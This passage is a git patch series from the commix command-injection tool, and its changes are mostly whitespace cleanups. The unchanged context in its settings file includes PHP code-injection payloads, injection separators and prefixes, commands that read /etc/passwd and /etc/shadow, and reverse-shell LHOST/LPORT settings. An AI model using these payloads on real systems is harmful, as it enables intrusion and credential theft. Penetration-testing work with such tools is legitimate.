!= 0: info_msg += "." else: - info_msg += ".\n" + info_msg += ".\n" sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + sys.stdout.flush() # Purging content of target directory. dir_paths = [] @@ -59,7 +59,7 @@ def purge(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Changing file attributes." sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + sys.stdout.flush() failed = False for file_path in file_paths: try: @@ -67,8 +67,8 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: + if settings.VERBOSITY_LEVEL != 0: + if not failed: print(settings.SINGLE_WHITESPACE) else: print(settings.SINGLE_WHITESPACE) @@ -77,7 +77,7 @@ def purge(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Writing random data to files. " sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + sys.stdout.flush() failed = False for file_path in file_paths: try: @@ -87,8 +87,8 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: + if settings.VERBOSITY_LEVEL != 0: + if not failed: print(settings.SINGLE_WHITESPACE) else: print(settings.SINGLE_WHITESPACE) @@ -97,7 +97,7 @@ def purge(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Truncating files." sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + sys.stdout.flush() failed = False for file_path in file_paths: try: @@ -106,8 +106,8 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: + if settings.VERBOSITY_LEVEL != 0: + if not failed: print(settings.SINGLE_WHITESPACE) else: print(settings.SINGLE_WHITESPACE) @@ -116,7 +116,7 @@ def purge(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Renaming filenames to random values." sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + sys.stdout.flush() failed = False for file_path in file_paths: try: @@ -124,8 +124,8 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: + if settings.VERBOSITY_LEVEL != 0: + if not failed: print(settings.SINGLE_WHITESPACE) else: print(settings.SINGLE_WHITESPACE) @@ -134,7 +134,7 @@ def purge(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Renaming directory names to random values." sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + sys.stdout.flush() failed = False dir_paths.sort(key=functools.cmp_to_key(lambda x, y: y.count(os.path.sep) - x.count(os.path.sep))) for dir_path in dir_paths: @@ -143,13 +143,13 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: + if settings.VERBOSITY_LEVEL != 0: + if not failed: print(settings.SINGLE_WHITESPACE) else: print(settings.SINGLE_WHITESPACE) - # Deleting the whole directory tree. + # Deleting the whole directory tree. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Deleting the whole directory tree." sys.stdout.write(settings.print_debug_msg(debug_msg)) @@ -158,11 +158,11 @@ def purge(): os.chdir(os.path.join(directory, "..")) shutil.rmtree(directory) except OSError as ex: - failed = True - if not failed: + failed = True + if not failed: print(settings.SINGLE_WHITESPACE) else: - print(settings.SINGLE_WHITESPACE) + print(settings.SINGLE_WHITESPACE) err_msg = "Problem occurred while removing directory '" + directory + "'." print(settings.print_critical_msg(err_msg)) diff --git a/src/utils/requirments.py b/src/utils/requirments.py index 8a06414a3a..fe90f0a0cd 100644 --- a/src/utils/requirments.py +++ b/src/utils/requirments.py @@ -20,7 +20,7 @@ """ def do_check(requirment): try: - # Pipe output to the file path of the null device, for silence. + # Pipe output to the file path of the null device, for silence. # i.e '/dev/null' for POSIX, 'nul' for Windows null = open(os.devnull,"w") subprocess.Popen(requirment, stdout=null, stderr=null) @@ -29,5 +29,5 @@ def do_check(requirment): except OSError: return False - + # eof \ No newline at end of file diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 99e573ef8f..f050c4c2fc 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -74,7 +74,7 @@ def flush(url): print(settings.print_warning_msg(warn_msg)) """ -Clear injection point records +Clear injection point records except latest for every technique. """ def clear(url): @@ -96,7 +96,7 @@ def clear(url): Import successful injection points to session file. """ def injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable): - try: + try: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ip" + \ "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR," \ @@ -117,7 +117,7 @@ def injection_point_importation(url, technique, injection_type, separator, shell conn.close() if settings.INJECTION_CHECKER == False: settings.INJECTION_CHECKER = True - + except sqlite3.OperationalError as err_msg: err_msg = str(err_msg)[:1].upper() + str(err_msg)[1:] + "." err_msg += " You are advised to rerun with switch '--flush-session'." @@ -141,7 +141,7 @@ def applied_techniques(url, http_request_method): applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip "\ "ORDER BY id DESC;") - if settings.TESTABLE_PARAMETER: + if settings.TESTABLE_PARAMETER: applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip WHERE "\ "url = '" + url + "' AND "\ "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ @@ -160,7 +160,7 @@ def applied_techniques(url, http_request_method): session = session[0][4:] elif "dynamic" in session[0][:7]: settings.EVAL_BASED_STATE = True - session = session[0][13:] + session = session[0][13:] values += session[0][:1] applied_techniques = ''.join(list(set(values))) return applied_techniques @@ -178,7 +178,7 @@ def applied_techniques(url, http_request_method): def applied_levels(url, http_request_method): try: conn = sqlite3.connect(settings.SESSION_FILE) - if settings.TESTABLE_PARAMETER: + if settings.TESTABLE_PARAMETER: applied_level = conn.execute("SELECT is_vulnerable FROM " + table_name(url) + "_ip WHERE "\ "url = '" + url + "' AND "\ "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ @@ -190,7 +190,7 @@ def applied_levels(url, http_request_method): "vuln_parameter = '" + settings.INJECT_TAG + "' AND "\ "http_request_method = '" + http_request_method + "' "\ "ORDER BY id DESC;") - + for session in applied_level: return session[0] @@ -220,7 +220,7 @@ def injection_point_exportation(url, http_request_method): elif menu.options.tech[:1] == "t": select_injection_type = "B" else: - select_injection_type = "S" + select_injection_type = "S" if settings.TEMPFILE_BASED_STATE and select_injection_type == "S": check_injection_technique = "t" elif settings.EVAL_BASED_STATE and select_injection_type == "R": @@ -286,7 +286,7 @@ def notification(url, technique, injection_type): message = "A previously stored session has been held against that target. " message += "Do you want to resume to " message += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " - message += technique.rsplit(' ', 2)[0] + message += technique.rsplit(' ', 2)[0] message += " injection point? [Y/n] > " settings.LOAD_SESSION = common.read_input(message, default="Y", check_batch=True) if settings.LOAD_SESSION in settings.CHOICE_YES: @@ -307,17 +307,17 @@ def notification(url, technique, injection_type): elif proceed_option.lower() == "n": raise SystemExit() else: - pass + pass else: - common.invalid_option(proceed_option) - pass + common.invalid_option(proceed_option) + pass if settings.SESSION_APPLIED_TECHNIQUES: menu.options.tech = ''.join(settings.AVAILABLE_TECHNIQUES) return False elif settings.LOAD_SESSION in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(settings.LOAD_SESSION) + common.invalid_option(settings.LOAD_SESSION) pass except sqlite3.OperationalError as err_msg: print(settings.print_critical_msg(err_msg)) @@ -327,7 +327,7 @@ def notification(url, technique, injection_type): """ Check for specific stored parameter. """ -def check_stored_parameter(url, http_request_method): +def check_stored_parameter(url, http_request_method): if injection_point_exportation(url, http_request_method): if injection_point_exportation(url, http_request_method)[16] == str(menu.options.level): # Check for stored alternative shell @@ -344,7 +344,7 @@ def check_stored_parameter(url, http_request_method): """ def store_cmd(url, cmd, shell, vuln_parameter): if any(type(_) is str for _ in (url, cmd, shell, vuln_parameter)): - try: + try: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ir" + \ "(cmd VARCHAR, output VARCHAR, vuln_parameter VARCHAR);") @@ -361,7 +361,7 @@ def store_cmd(url, cmd, shell, vuln_parameter): str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \ str(settings.HTTP_HEADER))) conn.commit() - conn.close() + conn.close() except sqlite3.OperationalError as err_msg: print(settings.print_critical_msg(err_msg)) except (TypeError, AttributeError) as err_msg: @@ -390,10 +390,10 @@ def export_stored_cmd(url, cmd, vuln_parameter): for session in cursor: output = base64.b64decode(session[0]) - try: + try: return output.decode(settings.DEFAULT_CODEC) except AttributeError: - return output + return output else: no_such_table = True pass @@ -430,7 +430,7 @@ def import_valid_credentials(url, authentication_type, admin_panel, username, pa Export valid credentials from session file. """ def export_valid_credentials(url, authentication_type): - try: + try: if not menu.options.flush_session: conn = sqlite3.connect(settings.SESSION_FILE) output = None diff --git a/src/utils/settings.py b/src/utils/settings.py index 88b6f5e16c..d3fbacd29b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -46,22 +46,22 @@ class HTTPMETHOD(object): # Status Signs LEGAL_DISCLAIMER = "(" + Style.BRIGHT + Fore.RED + "!" + Style.RESET_ALL + ") " + "Legal disclaimer: " INFO_SIGN = Style.RESET_ALL + "[" + Fore.GREEN + "info" + Style.RESET_ALL + "] " -INFO_BOLD_SIGN = "[" + Fore.GREEN + Style.BRIGHT + "info" + Style.RESET_ALL + "] " +INFO_BOLD_SIGN = "[" + Fore.GREEN + Style.BRIGHT + "info" + Style.RESET_ALL + "] " REQUEST_SIGN = Style.RESET_ALL + "[" + Style.BRIGHT + Back.MAGENTA + "traffic" + Style.RESET_ALL + "] " RESPONSE_SIGN = Style.RESET_ALL + "[" + Style.BRIGHT + Back.MAGENTA + "traffic" + Style.RESET_ALL + "] " QUESTION_SIGN = Style.BRIGHT -TOTAL_OF_REQUESTS_COLOR = Fore.LIGHTYELLOW_EX +TOTAL_OF_REQUESTS_COLOR = Fore.LIGHTYELLOW_EX WARNING_SIGN = "[" + Fore.LIGHTYELLOW_EX + "warning" + Style.RESET_ALL + "] " WARNING_BOLD_SIGN = "[" + Style.BRIGHT + Fore.YELLOW + "warning" + Style.RESET_ALL + "] " + Style.BRIGHT -ERROR_SIGN = "[" + Fore.RED + "error" + Style.RESET_ALL + "] " -ERROR_BOLD_SIGN = "[" + Style.BRIGHT + Fore.RED + "error" + Style.RESET_ALL + "] " +ERROR_SIGN = "[" + Fore.RED + "error" + Style.RESET_ALL + "] " +ERROR_BOLD_SIGN = "[" + Style.BRIGHT + Fore.RED + "error" + Style.RESET_ALL + "] " CRITICAL_SIGN = "[" + Back.RED + "critical" + Style.RESET_ALL + "] " -PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] " +PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] " SUB_CONTENT_SIGN = " " * 11 + Fore.GREY + "|_ " + Style.RESET_ALL SUB_CONTENT_SIGN_TYPE = Fore.LIGHTRED_EX + " * " + Style.RESET_ALL TRAFFIC_SIGN = HTTP_CONTENT_SIGN = "" -ABORTION_SIGN = ERROR_SIGN -DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " +ABORTION_SIGN = ERROR_SIGN +DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT CHECK_SIGN = DEBUG_SIGN + "Checking pair of HTTP authentication credentials: " OS_SHELL_TITLE = Style.BRIGHT + "Pseudo-Terminal Shell (type '?' for available options)" + Style.RESET_ALL @@ -110,12 +110,12 @@ def print_bold_warning_msg(warn_msg): # Print debug message (verbose mode) def print_debug_msg(debug_msg): result = print_time() + DEBUG_SIGN + debug_msg + Style.RESET_ALL - return result + return result # Print bold debug message (verbose mode) def print_bold_debug_msg(debug_msg): result = print_time() + DEBUG_BOLD_SIGN + debug_msg + Style.RESET_ALL - return result + return result # Print request HTTP message def print_request_msg(req_msg): @@ -183,7 +183,7 @@ def print_retrieved_data(cmd, retrieved): # Print output of command execution def command_execution_output(shell): result = Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL - return result + return result # argv checks def sys_argv_checks(): @@ -252,9 +252,9 @@ def sys_argv_errors(): COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL YEAR = "2014-2023" -AUTHOR_TWITTER = "@ancst" -APPLICATION_URL = "https://commixproject.com" -APPLICATION_TWITTER = "@commixproject" +AUTHOR_TWITTER = "@ancst" +APPLICATION_URL = "https://commixproject.com" +APPLICATION_TWITTER = "@commixproject" # Default User-Agent DEFAULT_USER_AGENT = APPLICATION + "/" + VERSION + " (" + APPLICATION_URL + ")" @@ -267,16 +267,16 @@ def sys_argv_errors(): # Random string generator RANDOM_STRING_GENERATOR = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) -# Readline +# Readline READLINE_ERROR = False # User-supplied operating system command USER_SUPPLIED_CMD = "" # Random Tag -RANDOM_TAG = "" +RANDOM_TAG = "" -if RANDOM_TAG == "" : +if RANDOM_TAG == "" : RANDOM_TAG = RANDOM_STRING_GENERATOR # Proxy @@ -319,14 +319,14 @@ def sys_argv_errors(): #Basic heuristic checks for code injection warnings or... phpinfo page ;) PHPINFO_PAYLOAD = "phpinfo()" -PHP_EXEC_FUNCTIONS = [ "" + PHPINFO_PAYLOAD + "", - "exec(" + PHPINFO_PAYLOAD + ")", - "eval(" + PHPINFO_PAYLOAD + ")", - "system(" + PHPINFO_PAYLOAD + ")" +PHP_EXEC_FUNCTIONS = [ "" + PHPINFO_PAYLOAD + "", + "exec(" + PHPINFO_PAYLOAD + ")", + "eval(" + PHPINFO_PAYLOAD + ")", + "system(" + PHPINFO_PAYLOAD + ")" ] -PHPINFO_CHECK_PAYLOADS = [ - [".print(" + x + ")" for x in PHP_EXEC_FUNCTIONS], +PHPINFO_CHECK_PAYLOADS = [ + [".print(" + x + ")" for x in PHP_EXEC_FUNCTIONS], [")'}" + x + "'#" for x in PHP_EXEC_FUNCTIONS], ["'." + x + ".'" for x in PHP_EXEC_FUNCTIONS], ["{${" + x + "}}" for x in PHP_EXEC_FUNCTIONS], @@ -354,10 +354,10 @@ def sys_argv_errors(): WILDCARD_CHAR_APPLIED = False POST_WILDCARD_CHAR = "" -# Testable parameter(s) - comma separated. +# Testable parameter(s) - comma separated. TEST_PARAMETER = "" -# Skip testing for given parameter(s) - comma separated. +# Skip testing for given parameter(s) - comma separated. SKIP_PARAMETER = "" # Use a proxy to connect to the target URL. @@ -397,7 +397,7 @@ class OS(object): # Stored applied techniques SESSION_APPLIED_TECHNIQUES = "" -# The name of the operating system dependent module imported. +# The name of the operating system dependent module imported. PLATFORM = os.name IS_WINDOWS = PLATFORM == "nt" @@ -413,7 +413,7 @@ class OS(object): COMMIX_ROOT_PATH = os.path.abspath(os.curdir) # Output Directory -OUTPUT_DIR = ".output/" +OUTPUT_DIR = ".output/" # Output file name OUTPUT_FILE_NAME = "logs" @@ -436,7 +436,7 @@ class OS(object): SLOW_TARGET_RESPONSE = 3 # The testable parameter. -TESTABLE_PARAMETER = "" +TESTABLE_PARAMETER = "" TESTABLE_VALUE = "" @@ -447,14 +447,14 @@ class OS(object): SEPARATORS = [] DEFAULT_SEPARATORS = ["", ";", "%26", "|"] SPECIAL_SEPARATORS = ["%26%26", "||", "%0a", "%0d%0a", "%1a"] -SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS +SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS SEPARATORS_LVL3 = SEPARATORS_LVL2 = SEPARATORS_LVL1 # The command injection prefixes. PREFIXES = [] PREFIXES_LVL1 = [""] PREFIXES_LVL2 = SEPARATORS_LVL1 -PREFIXES_LVL3 = PREFIXES_LVL2 + ["'", "\""] +PREFIXES_LVL3 = PREFIXES_LVL2 + ["'", "\""] # The command injection suffixes. SUFFIXES = [] @@ -481,7 +481,7 @@ class OS(object): EVAL_PREFIXES = [] EVAL_PREFIXES_LVL1 = [".", "'.", "{${"] EVAL_PREFIXES_LVL2 = EVAL_PREFIXES_LVL1 + [")'}", "');}"] -EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""] +EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""] # The code injection suffixes. EVAL_SUFFIXES = [] @@ -555,7 +555,7 @@ class OS(object): RECOGNISE_OS = "uname -s" WIN_RECOGNISE_OS = "ver" -# Distribution Description / Release +# Distribution Description / Release DISTRO_INFO = "echo $(lsb_release -sir)" # Hardware platform. @@ -584,8 +584,8 @@ class OS(object): # /etc/passwd PASSWD_FILE = "/etc/passwd" -SYS_USERS = "awk -F ':' '{print $1}{print $3}{print $6}' " + PASSWD_FILE -EVAL_SYS_USERS = "awk -F ':' '{print \$1}{print \$3}{print \$6}' " + PASSWD_FILE +SYS_USERS = "awk -F ':' '{print $1}{print $3}{print $6}' " + PASSWD_FILE +EVAL_SYS_USERS = "awk -F ':' '{print \$1}{print \$3}{print \$6}' " + PASSWD_FILE # Exports users of localgroup WIN_SYS_USERS = "powershell.exe -InputFormat none write-host (([string]$(net user)[4..($(net user).length-3)]))" @@ -593,7 +593,7 @@ class OS(object): # /etc/shadow SHADOW_FILE = "/etc/shadow" -SYS_PASSES = FILE_READ + SHADOW_FILE +SYS_PASSES = FILE_READ + SHADOW_FILE WIN_REPLACE_WHITESPACE = "-replace('\s+',' '))" @@ -643,7 +643,7 @@ class OS(object): "Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1b3) Gecko/20090315 Firefox/3.1b3", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20131401 Firefox/31.0", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.34 (KHTML, like Gecko) Dooble/1.40 Safari/534.34", - # Oldies + # Oldies "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)", @@ -687,8 +687,8 @@ class OS(object): # Custom HTTP Headers injection CUSTOM_HEADER_INJECTION = False -CUSTOM_HEADER_NAME = "" -CUSTOM_HEADER_VALUE = "" +CUSTOM_HEADER_NAME = "" +CUSTOM_HEADER_VALUE = "" # Valid URL format check VALID_URL_FORMAT = "https?://(?:www)?(?:[\w-]{2,255}(?:\.\w{2,6}){1,2})(?:/[\w&%?#-]{1,310})?" @@ -733,7 +733,7 @@ class OS(object): except LookupError: DEFAULT_PAGE_ENCODING = DEFAULT_CODEC -# Character Sets List. +# Character Sets List. # A complete list of the standard encodings Python supports. ENCODING_LIST = [ "iso-8859-1", @@ -871,25 +871,25 @@ class OS(object): # Extensions skipped by crawler CRAWL_EXCLUDE_EXTENSIONS = [ - "3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", - "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", - "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", - "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", - "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", - "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", - "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", - "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", - "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", - "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", - "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", - "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", + "3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", + "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", + "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", + "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", + "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", + "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", + "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", + "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", + "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", + "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", + "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", + "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "z", "zip", "zipx" ] TARGET_APPLICATION = "" # Unsupported target application(s) [1] # [1] https://github.com/commixproject/commix/wiki/Target-applications -UNSUPPORTED_TARGET_APPLICATION = [ +UNSUPPORTED_TARGET_APPLICATION = [ "" ] @@ -953,7 +953,7 @@ class OS(object): DEL = "rm " # Time-based Variables -FOUND_HOW_LONG = "" +FOUND_HOW_LONG = "" FOUND_DIFF = "" # Check for PowerShell @@ -962,7 +962,7 @@ class OS(object): # ANSI colors removal ANSI_COLOR_REMOVAL = r'\x1b[^m]*m' -# Default LHOST / LPORT / RHOST setup, +# Default LHOST / LPORT / RHOST setup, # for the reverse TCP connection LHOST = "" LPORT = "" @@ -1067,13 +1067,13 @@ class AUTH_TYPE(object): ] IGNORE_TAMPER_TRANSFORMATION = [ - "IFS", - "if", - "then", - "else", - "fi", - "str", - "cmd", + "IFS", + "if", + "then", + "else", + "fi", + "str", + "cmd", "char" ] @@ -1089,7 +1089,7 @@ class AUTH_TYPE(object): BAD_GATEWAY = "502" SERVICE_UNAVAILABLE = "503" GATEWAY_TIMEOUT = "504" -HTTP_ERROR_CODES = [ BAD_REQUEST, +HTTP_ERROR_CODES = [ BAD_REQUEST, UNAUTHORIZED_ERROR, FORBIDDEN_ERROR, NOT_FOUND_ERROR, diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index aa9c77ee70..fd0796e7fe 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -87,7 +87,7 @@ class Handler(_BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(self): try: #Open the static file requested and send it - f = open(self.path) + f = open(self.path) self.send_response(_http_client.OK) self.send_header(settings.CONNECTION, "close") self.end_headers() diff --git a/src/utils/update.py b/src/utils/update.py index 9d27770ec2..10dd38d3ed 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -46,7 +46,7 @@ def revision_num(): subprocess.Popen("find . -name \"*.pyc\" -delete", shell=True).wait() # Delete empty directories and files. subprocess.Popen("find . -empty -type d -delete", shell=True).wait() - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0: stdout, _ = process.communicate() match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") rev_num = match.group(0) if match else None @@ -59,7 +59,7 @@ def revision_num(): info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(how_long)) + "." print(settings.print_info_msg(info_msg)) except: - print(settings.SINGLE_WHITESPACE) + print(settings.SINGLE_WHITESPACE) raise SystemExit() """ @@ -67,11 +67,11 @@ def revision_num(): """ def updater(): time.sleep(1) - info_msg = "Checking requirements to update " + info_msg = "Checking requirements to update " info_msg += settings.APPLICATION + " from GitHub repository. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() - if menu.options.offline: + if menu.options.offline: print(settings.SINGLE_WHITESPACE) err_msg = "You cannot update commix via GitHub without access on the Internet." print(settings.print_critical_msg(err_msg)) @@ -97,7 +97,7 @@ def updater(): else: print(settings.SINGLE_WHITESPACE) if os.path.isdir("./.git"): - info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) " + info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) " info_msg += "version. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -106,10 +106,10 @@ def updater(): os._exit(0) else: print(settings.SINGLE_WHITESPACE) - err_msg = "The '.git' directory not found. Do it manually: " - err_msg += Style.BRIGHT + "'git clone " + settings.GIT_URL + err_msg = "The '.git' directory not found. Do it manually: " + err_msg += Style.BRIGHT + "'git clone " + settings.GIT_URL err_msg += " " + settings.APPLICATION + "' " - print(settings.print_critical_msg(err_msg)) + print(settings.print_critical_msg(err_msg)) raise SystemExit() else: print(settings.SINGLE_WHITESPACE) @@ -132,7 +132,7 @@ def check_for_update(): line = line.rstrip() if "VERSION_NUM = " in line: update_version = line.replace("VERSION_NUM = ", "").replace("\"", "") - break + break if (int(settings.VERSION_NUM.replace(".","")[:2]) < int(update_version.replace(".","")[:2])) or \ ((int(settings.VERSION_NUM.replace(".","")[:2]) == int(update_version.replace(".","")[:2])) and \ int(settings.VERSION_NUM.replace(".","")[2:]) < int(update_version.replace(".","")[2:])): @@ -144,7 +144,7 @@ def check_for_update(): elif do_update in settings.CHOICE_NO: break else: - common.invalid_option(do_update) + common.invalid_option(do_update) pass except KeyboardInterrupt: raise @@ -156,11 +156,11 @@ def check_for_update(): """ def unicorn_updater(current_version): APPLICATION_NAME = "TrustedSec's Magic Unicorn" - info_msg = "Checking requirements to update " + info_msg = "Checking requirements to update " info_msg += APPLICATION_NAME + " from GitHub repository. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() - if menu.options.offline: + if menu.options.offline: print(settings.SINGLE_WHITESPACE) err_msg = "You cannot update TrustedSec's Magic Unicorn " err_msg += "via GitHub without access on the Internet." @@ -187,7 +187,7 @@ def unicorn_updater(current_version): else: os.chdir("../") subprocess.Popen("rm -rf unicorn", shell=True).wait() - info_msg = "Updating " + APPLICATION_NAME + " to the latest (dev) " + info_msg = "Updating " + APPLICATION_NAME + " to the latest (dev) " info_msg += "version. " subprocess.Popen("git clone https://github.com/trustedsec/unicorn", shell=True).wait() os.chdir("unicorn") @@ -209,7 +209,7 @@ def unicorn_updater(current_version): """ def check_unicorn_version(current_version): try: - if len(current_version) != 0: + if len(current_version) != 0: response = _urllib.request.urlopen('https://raw.githubusercontent.com/trustedsec/unicorn/master/unicorn.py', timeout=settings.TIMEOUT) latest_version = response.readlines() for line in latest_version: @@ -228,7 +228,7 @@ def check_unicorn_version(current_version): print(settings.print_warning_msg(warn_msg)) else: warn_msg = "TrustedSec's Magic Unicorn seems to be not installed." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) while True: if len(current_version) == 0: action = "install" @@ -241,7 +241,7 @@ def check_unicorn_version(current_version): elif do_update in settings.CHOICE_NO: break else: - common.invalid_option(do_update) + common.invalid_option(do_update) pass except KeyboardInterrupt: diff --git a/src/utils/version.py b/src/utils/version.py index 4f2ca1e6fb..b39fc458c6 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -29,7 +29,7 @@ def show_version(): def python_version(): PYTHON_VERSION = sys.version.split()[0] if PYTHON_VERSION.split(".")[0] != "3": - warn_msg = "Deprecated Python version detected: " + warn_msg = "Deprecated Python version detected: " warn_msg += PYTHON_VERSION + ". " warn_msg += "You are advised to use Python version 3." print("\n" + settings.print_bold_warning_msg(warn_msg)) From 6bdadec329ea0ed0185346598be0051c81f2ca6c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Jul 2023 08:33:41 +0300 Subject: [PATCH 0329/1023] Update THANKS.md --- doc/THANKS.md | 2 